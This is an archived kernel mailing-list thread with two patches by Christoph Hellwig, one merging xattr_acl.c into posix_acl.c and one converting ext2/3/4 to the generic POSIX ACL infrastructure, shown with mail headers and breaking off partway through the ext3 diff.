X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04v-0003Ci-EW; Fri, 20 Dec 2013 13:25:21 +0000 Message-Id: <20131220132521.330228004@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:37 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 02/21] fs: merge xattr_acl.c into posix_acl.c References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 02/21] fs: merge xattr_acl.c into posix_acl.c Content-Disposition: inline; filename=0002-fs-merge-xattr_acl.c-into-posix_acl.c.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545933 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/Makefile | 2 +- fs/posix_acl.c | 180 +++++++++++++++++++++++++++++++++++++++++++++++++++++--- fs/xattr_acl.c | 180 -------------------------------------------------------- 3 files changed, 174 insertions(+), 188 deletions(-) delete mode 100644 fs/xattr_acl.c diff --git a/fs/Makefile b/fs/Makefile index 4fe6df3..f2c1843 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -42,7 +42,7 @@ obj-$(CONFIG_BINFMT_SOM) += binfmt_som.o obj-$(CONFIG_BINFMT_FLAT) += binfmt_flat.o obj-$(CONFIG_FS_MBCACHE) += mbcache.o -obj-$(CONFIG_FS_POSIX_ACL) += posix_acl.o xattr_acl.o +obj-$(CONFIG_FS_POSIX_ACL) += posix_acl.o obj-$(CONFIG_NFS_COMMON) += nfs_common/ obj-$(CONFIG_GENERIC_ACL) += generic_acl.o obj-$(CONFIG_COREDUMP) += coredump.o diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 8bd2135..359d70b 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -1,10 +1,8 @@ /* - * linux/fs/posix_acl.c + * Copyright (C) 2002,2003 by Andreas Gruenbacher * - * Copyright (C) 2002 by Andreas Gruenbacher - * - * Fixes from William Schumacher incorporated on 15 March 2001. - * (Reported by Charles Bertsch, ). + * Fixes from William Schumacher incorporated on 15 March 2001. + * (Reported by Charles Bertsch, ). */ /* @@ -18,9 +16,9 @@ #include #include #include +#include #include - -#include +#include EXPORT_SYMBOL(posix_acl_init); EXPORT_SYMBOL(posix_acl_alloc); @@ -418,3 +416,171 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) return err; } EXPORT_SYMBOL(posix_acl_chmod); + +/* + * Fix up the uids and gids in posix acl extended attributes in place. + */ +static void posix_acl_fix_xattr_userns( + struct user_namespace *to, struct user_namespace *from, + void *value, size_t size) +{ + posix_acl_xattr_header *header = (posix_acl_xattr_header *)value; + posix_acl_xattr_entry *entry = (posix_acl_xattr_entry *)(header+1), *end; + int count; + kuid_t uid; + kgid_t gid; + + if (!value) + return; + if (size < sizeof(posix_acl_xattr_header)) + return; + if (header->a_version != cpu_to_le32(POSIX_ACL_XATTR_VERSION)) + return; + + count = posix_acl_xattr_count(size); + if (count < 0) + return; + if (count == 0) + return; + + for (end = entry + count; entry != end; entry++) { + switch(le16_to_cpu(entry->e_tag)) { + case ACL_USER: + uid = make_kuid(from, le32_to_cpu(entry->e_id)); + entry->e_id = cpu_to_le32(from_kuid(to, uid)); + break; + case ACL_GROUP: + gid = make_kgid(from, le32_to_cpu(entry->e_id)); + entry->e_id = cpu_to_le32(from_kgid(to, gid)); + break; + default: + break; + } + } +} + +void posix_acl_fix_xattr_from_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + if (user_ns == &init_user_ns) + return; + posix_acl_fix_xattr_userns(&init_user_ns, user_ns, value, size); +} + +void posix_acl_fix_xattr_to_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + if (user_ns == &init_user_ns) + return; + posix_acl_fix_xattr_userns(user_ns, &init_user_ns, value, size); +} + +/* + * Convert from extended attribute to in-memory representation. + */ +struct posix_acl * +posix_acl_from_xattr(struct user_namespace *user_ns, + const void *value, size_t size) +{ + posix_acl_xattr_header *header = (posix_acl_xattr_header *)value; + posix_acl_xattr_entry *entry = (posix_acl_xattr_entry *)(header+1), *end; + int count; + struct posix_acl *acl; + struct posix_acl_entry *acl_e; + + if (!value) + return NULL; + if (size < sizeof(posix_acl_xattr_header)) + return ERR_PTR(-EINVAL); + if (header->a_version != cpu_to_le32(POSIX_ACL_XATTR_VERSION)) + return ERR_PTR(-EOPNOTSUPP); + + count = posix_acl_xattr_count(size); + if (count < 0) + return ERR_PTR(-EINVAL); + if (count == 0) + return NULL; + + acl = posix_acl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + acl_e = acl->a_entries; + + for (end = entry + count; entry != end; acl_e++, entry++) { + acl_e->e_tag = le16_to_cpu(entry->e_tag); + acl_e->e_perm = le16_to_cpu(entry->e_perm); + + switch(acl_e->e_tag) { + case ACL_USER_OBJ: + case ACL_GROUP_OBJ: + case ACL_MASK: + case ACL_OTHER: + break; + + case ACL_USER: + acl_e->e_uid = + make_kuid(user_ns, + le32_to_cpu(entry->e_id)); + if (!uid_valid(acl_e->e_uid)) + goto fail; + break; + case ACL_GROUP: + acl_e->e_gid = + make_kgid(user_ns, + le32_to_cpu(entry->e_id)); + if (!gid_valid(acl_e->e_gid)) + goto fail; + break; + + default: + goto fail; + } + } + return acl; + +fail: + posix_acl_release(acl); + return ERR_PTR(-EINVAL); +} +EXPORT_SYMBOL (posix_acl_from_xattr); + +/* + * Convert from in-memory to extended attribute representation. + */ +int +posix_acl_to_xattr(struct user_namespace *user_ns, const struct posix_acl *acl, + void *buffer, size_t size) +{ + posix_acl_xattr_header *ext_acl = (posix_acl_xattr_header *)buffer; + posix_acl_xattr_entry *ext_entry = ext_acl->a_entries; + int real_size, n; + + real_size = posix_acl_xattr_size(acl->a_count); + if (!buffer) + return real_size; + if (real_size > size) + return -ERANGE; + + ext_acl->a_version = cpu_to_le32(POSIX_ACL_XATTR_VERSION); + + for (n=0; n < acl->a_count; n++, ext_entry++) { + const struct posix_acl_entry *acl_e = &acl->a_entries[n]; + ext_entry->e_tag = cpu_to_le16(acl_e->e_tag); + ext_entry->e_perm = cpu_to_le16(acl_e->e_perm); + switch(acl_e->e_tag) { + case ACL_USER: + ext_entry->e_id = + cpu_to_le32(from_kuid(user_ns, acl_e->e_uid)); + break; + case ACL_GROUP: + ext_entry->e_id = + cpu_to_le32(from_kgid(user_ns, acl_e->e_gid)); + break; + default: + ext_entry->e_id = cpu_to_le32(ACL_UNDEFINED_ID); + break; + } + } + return real_size; +} +EXPORT_SYMBOL (posix_acl_to_xattr); diff --git a/fs/xattr_acl.c b/fs/xattr_acl.c deleted file mode 100644 index 9fbea87..0000000 --- a/fs/xattr_acl.c +++ /dev/null @@ -1,180 +0,0 @@ -/* - * linux/fs/xattr_acl.c - * - * Almost all from linux/fs/ext2/acl.c: - * Copyright (C) 2001 by Andreas Gruenbacher, - */ - -#include -#include -#include -#include -#include - -/* - * Fix up the uids and gids in posix acl extended attributes in place. - */ -static void posix_acl_fix_xattr_userns( - struct user_namespace *to, struct user_namespace *from, - void *value, size_t size) -{ - posix_acl_xattr_header *header = (posix_acl_xattr_header *)value; - posix_acl_xattr_entry *entry = (posix_acl_xattr_entry *)(header+1), *end; - int count; - kuid_t uid; - kgid_t gid; - - if (!value) - return; - if (size < sizeof(posix_acl_xattr_header)) - return; - if (header->a_version != cpu_to_le32(POSIX_ACL_XATTR_VERSION)) - return; - - count = posix_acl_xattr_count(size); - if (count < 0) - return; - if (count == 0) - return; - - for (end = entry + count; entry != end; entry++) { - switch(le16_to_cpu(entry->e_tag)) { - case ACL_USER: - uid = make_kuid(from, le32_to_cpu(entry->e_id)); - entry->e_id = cpu_to_le32(from_kuid(to, uid)); - break; - case ACL_GROUP: - gid = make_kgid(from, le32_to_cpu(entry->e_id)); - entry->e_id = cpu_to_le32(from_kgid(to, gid)); - break; - default: - break; - } - } -} - -void posix_acl_fix_xattr_from_user(void *value, size_t size) -{ - struct user_namespace *user_ns = current_user_ns(); - if (user_ns == &init_user_ns) - return; - posix_acl_fix_xattr_userns(&init_user_ns, user_ns, value, size); -} - -void posix_acl_fix_xattr_to_user(void *value, size_t size) -{ - struct user_namespace *user_ns = current_user_ns(); - if (user_ns == &init_user_ns) - return; - posix_acl_fix_xattr_userns(user_ns, &init_user_ns, value, size); -} - -/* - * Convert from extended attribute to in-memory representation. - */ -struct posix_acl * -posix_acl_from_xattr(struct user_namespace *user_ns, - const void *value, size_t size) -{ - posix_acl_xattr_header *header = (posix_acl_xattr_header *)value; - posix_acl_xattr_entry *entry = (posix_acl_xattr_entry *)(header+1), *end; - int count; - struct posix_acl *acl; - struct posix_acl_entry *acl_e; - - if (!value) - return NULL; - if (size < sizeof(posix_acl_xattr_header)) - return ERR_PTR(-EINVAL); - if (header->a_version != cpu_to_le32(POSIX_ACL_XATTR_VERSION)) - return ERR_PTR(-EOPNOTSUPP); - - count = posix_acl_xattr_count(size); - if (count < 0) - return ERR_PTR(-EINVAL); - if (count == 0) - return NULL; - - acl = posix_acl_alloc(count, GFP_NOFS); - if (!acl) - return ERR_PTR(-ENOMEM); - acl_e = acl->a_entries; - - for (end = entry + count; entry != end; acl_e++, entry++) { - acl_e->e_tag = le16_to_cpu(entry->e_tag); - acl_e->e_perm = le16_to_cpu(entry->e_perm); - - switch(acl_e->e_tag) { - case ACL_USER_OBJ: - case ACL_GROUP_OBJ: - case ACL_MASK: - case ACL_OTHER: - break; - - case ACL_USER: - acl_e->e_uid = - make_kuid(user_ns, - le32_to_cpu(entry->e_id)); - if (!uid_valid(acl_e->e_uid)) - goto fail; - break; - case ACL_GROUP: - acl_e->e_gid = - make_kgid(user_ns, - le32_to_cpu(entry->e_id)); - if (!gid_valid(acl_e->e_gid)) - goto fail; - break; - - default: - goto fail; - } - } - return acl; - -fail: - posix_acl_release(acl); - return ERR_PTR(-EINVAL); -} -EXPORT_SYMBOL (posix_acl_from_xattr); - -/* - * Convert from in-memory to extended attribute representation. - */ -int -posix_acl_to_xattr(struct user_namespace *user_ns, const struct posix_acl *acl, - void *buffer, size_t size) -{ - posix_acl_xattr_header *ext_acl = (posix_acl_xattr_header *)buffer; - posix_acl_xattr_entry *ext_entry = ext_acl->a_entries; - int real_size, n; - - real_size = posix_acl_xattr_size(acl->a_count); - if (!buffer) - return real_size; - if (real_size > size) - return -ERANGE; - - ext_acl->a_version = cpu_to_le32(POSIX_ACL_XATTR_VERSION); - - for (n=0; n < acl->a_count; n++, ext_entry++) { - const struct posix_acl_entry *acl_e = &acl->a_entries[n]; - ext_entry->e_tag = cpu_to_le16(acl_e->e_tag); - ext_entry->e_perm = cpu_to_le16(acl_e->e_perm); - switch(acl_e->e_tag) { - case ACL_USER: - ext_entry->e_id = - cpu_to_le32(from_kuid(user_ns, acl_e->e_uid)); - break; - case ACL_GROUP: - ext_entry->e_id = - cpu_to_le32(from_kgid(user_ns, acl_e->e_gid)); - break; - default: - ext_entry->e_id = cpu_to_le32(ACL_UNDEFINED_ID); - break; - } - } - return real_size; -} -EXPORT_SYMBOL (posix_acl_to_xattr); -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 17AF029DF8 for ; Fri, 20 Dec 2013 07:25:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E781D8F807A for ; Fri, 20 Dec 2013 05:25:34 -0800 (PST) X-ASG-Debug-ID: 1387545932-04cbb04169864430001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id P5xdRGu8hDDfGzOZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04w-0003Gq-PI; Fri, 20 Dec 2013 13:25:22 +0000 Message-Id: <20131220132522.591342758@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:44 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 09/21] ext2/3/4: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 09/21] ext2/3/4: use generic posix ACL infrastructure Content-Disposition: inline; filename=0009-ext2-3-4-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545933 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/ext2/acl.c | 188 ++++------------------------------------------ fs/ext2/acl.h | 8 +- fs/ext2/file.c | 1 + fs/ext2/inode.c | 2 +- fs/ext2/namei.c | 2 + fs/ext2/xattr.c | 8 +- fs/ext2/xattr.h | 2 - fs/ext3/acl.c | 223 ++++++++----------------------------------------------- fs/ext3/acl.h | 9 +-- fs/ext3/file.c | 1 + fs/ext3/inode.c | 2 +- fs/ext3/namei.c | 2 + fs/ext3/xattr.c | 8 +- fs/ext3/xattr.h | 2 - fs/ext4/acl.c | 223 +++++++------------------------------------------------ fs/ext4/acl.h | 9 +-- fs/ext4/file.c | 1 + fs/ext4/inode.c | 2 +- fs/ext4/namei.c | 2 + fs/ext4/xattr.c | 8 +- fs/ext4/xattr.h | 2 - 21 files changed, 100 insertions(+), 605 deletions(-) diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 6e842a7..1b8001b 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -148,13 +148,6 @@ ext2_get_acl(struct inode *inode, int type) struct posix_acl *acl; int retval; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT2_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -189,19 +182,14 @@ ext2_get_acl(struct inode *inode, int type) /* * inode->i_mutex: down */ -static int -ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) +int +ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int name_index; void *value = NULL; size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - switch(type) { case ACL_TYPE_ACCESS: name_index = EXT2_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -250,169 +238,21 @@ ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) int ext2_init_acl(struct inode *inode, struct inode *dir) { - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext2_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext2_set_acl(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) { - /* This is an extended ACL */ - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ -int -ext2_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error; + struct posix_acl *default_acl, *acl; + int error; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); if (error) return error; - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return error; -} -/* - * Extended attribut handlers - */ -static size_t -ext2_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; -} - -static size_t -ext2_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -static int -ext2_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - - acl = ext2_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -ext2_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (!test_opt(dentry->d_sb, POSIX_ACL)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(dentry->d_inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; - - error = ext2_set_acl(dentry->d_inode, type, acl); - -release_and_out: - posix_acl_release(acl); + if (default_acl) { + error = ext2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = ext2_set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + } return error; } - -const struct xattr_handler ext2_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = ext2_xattr_list_acl_access, - .get = ext2_xattr_get_acl, - .set = ext2_xattr_set_acl, -}; - -const struct xattr_handler ext2_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = ext2_xattr_list_acl_default, - .get = ext2_xattr_get_acl, - .set = ext2_xattr_set_acl, -}; diff --git a/fs/ext2/acl.h b/fs/ext2/acl.h index 503bfb0..44937f9 100644 --- a/fs/ext2/acl.h +++ b/fs/ext2/acl.h @@ -55,7 +55,7 @@ static inline int ext2_acl_count(size_t size) /* acl.c */ extern struct posix_acl *ext2_get_acl(struct inode *inode, int type); -extern int ext2_acl_chmod (struct inode *); +extern int ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int ext2_init_acl (struct inode *, struct inode *); #else @@ -63,12 +63,6 @@ extern int ext2_init_acl (struct inode *, struct inode *); #define ext2_get_acl NULL #define ext2_set_acl NULL -static inline int -ext2_acl_chmod (struct inode *inode) -{ - return 0; -} - static inline int ext2_init_acl (struct inode *inode, struct inode *dir) { return 0; diff --git a/fs/ext2/file.c b/fs/ext2/file.c index a5b3a5d..44c36e5 100644 --- a/fs/ext2/file.c +++ b/fs/ext2/file.c @@ -103,5 +103,6 @@ const struct inode_operations ext2_file_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, .fiemap = ext2_fiemap, }; diff --git a/fs/ext2/inode.c b/fs/ext2/inode.c index 8a33764..94ed3684 100644 --- a/fs/ext2/inode.c +++ b/fs/ext2/inode.c @@ -1566,7 +1566,7 @@ int ext2_setattr(struct dentry *dentry, struct iattr *iattr) } setattr_copy(inode, iattr); if (iattr->ia_valid & ATTR_MODE) - error = ext2_acl_chmod(inode); + error = posix_acl_chmod(inode, inode->i_mode); mark_inode_dirty(inode); return error; diff --git a/fs/ext2/namei.c b/fs/ext2/namei.c index 256dd5f..c268d0a 100644 --- a/fs/ext2/namei.c +++ b/fs/ext2/namei.c @@ -421,6 +421,7 @@ const struct inode_operations ext2_dir_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, .tmpfile = ext2_tmpfile, }; @@ -433,4 +434,5 @@ const struct inode_operations ext2_special_inode_operations = { #endif .setattr = ext2_setattr, .get_acl = ext2_get_acl, + .set_acl = ext2_set_acl, }; diff --git a/fs/ext2/xattr.c b/fs/ext2/xattr.c index 2d7557d..9142614 100644 --- a/fs/ext2/xattr.c +++ b/fs/ext2/xattr.c @@ -103,8 +103,8 @@ static struct mb_cache *ext2_xattr_cache; static const struct xattr_handler *ext2_xattr_handler_map[] = { [EXT2_XATTR_INDEX_USER] = &ext2_xattr_user_handler, #ifdef CONFIG_EXT2_FS_POSIX_ACL - [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext2_xattr_acl_access_handler, - [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext2_xattr_acl_default_handler, + [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, + [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, #endif [EXT2_XATTR_INDEX_TRUSTED] = &ext2_xattr_trusted_handler, #ifdef CONFIG_EXT2_FS_SECURITY @@ -116,8 +116,8 @@ const struct xattr_handler *ext2_xattr_handlers[] = { &ext2_xattr_user_handler, &ext2_xattr_trusted_handler, #ifdef CONFIG_EXT2_FS_POSIX_ACL - &ext2_xattr_acl_access_handler, - &ext2_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif #ifdef CONFIG_EXT2_FS_SECURITY &ext2_xattr_security_handler, diff --git a/fs/ext2/xattr.h b/fs/ext2/xattr.h index 5e41ccc..60edf29 100644 --- a/fs/ext2/xattr.h +++ b/fs/ext2/xattr.h @@ -57,8 +57,6 @@ struct ext2_xattr_entry { extern const struct xattr_handler ext2_xattr_user_handler; extern const struct xattr_handler ext2_xattr_trusted_handler; -extern const struct xattr_handler ext2_xattr_acl_access_handler; -extern const struct xattr_handler ext2_xattr_acl_default_handler; extern const struct xattr_handler ext2_xattr_security_handler; extern ssize_t ext2_listxattr(struct dentry *, char *, size_t); diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index 4f3d8fa..8bbaf5b 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -145,13 +145,6 @@ ext3_get_acl(struct inode *inode, int type) struct posix_acl *acl; int retval; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return NULL; - - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name_index = EXT3_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -190,7 +183,7 @@ ext3_get_acl(struct inode *inode, int type) * inode->i_mutex: down unless called from ext3_new_inode */ static int -ext3_set_acl(handle_t *handle, struct inode *inode, int type, +__ext3_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; @@ -198,9 +191,6 @@ ext3_set_acl(handle_t *handle, struct inode *inode, int type, size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch(type) { case ACL_TYPE_ACCESS: name_index = EXT3_XATTR_INDEX_POSIX_ACL_ACCESS; @@ -243,204 +233,49 @@ ext3_set_acl(handle_t *handle, struct inode *inode, int type, return error; } -/* - * Initialize the ACLs of a new inode. Called from ext3_new_inode. - * - * dir->i_mutex: down - * inode->i_mutex: up (access to inode is still exclusive) - */ int -ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) +ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct posix_acl *acl = NULL; - int error = 0; - - if (!S_ISLNK(inode->i_mode)) { - if (test_opt(dir->i_sb, POSIX_ACL)) { - acl = ext3_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (!acl) - inode->i_mode &= ~current_umask(); - } - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { - if (S_ISDIR(inode->i_mode)) { - error = ext3_set_acl(handle, inode, - ACL_TYPE_DEFAULT, acl); - if (error) - goto cleanup; - } - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (error < 0) - return error; - - if (error > 0) { - /* This is an extended ACL */ - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); - } - } -cleanup: - posix_acl_release(acl); - return error; -} - -/* - * Does chmod for an inode that may have an Access Control List. The - * inode->i_mode field must be updated to the desired value by the caller - * before calling this function. - * Returns 0 on success, or a negative error number. - * - * We change the ACL rather than storing some ACL entries in the file - * mode permission bits (which would be more efficient), because that - * would break once additional permissions (like ACL_APPEND, ACL_DELETE - * for directories) are added. There are no more bits available in the - * file mode. - * - * inode->i_mutex: down - */ -int -ext3_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; handle_t *handle; - int retries = 0; - int error; + int error, retries = 0; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!test_opt(inode->i_sb, POSIX_ACL)) - return 0; - acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; retry: - handle = ext3_journal_start(inode, - 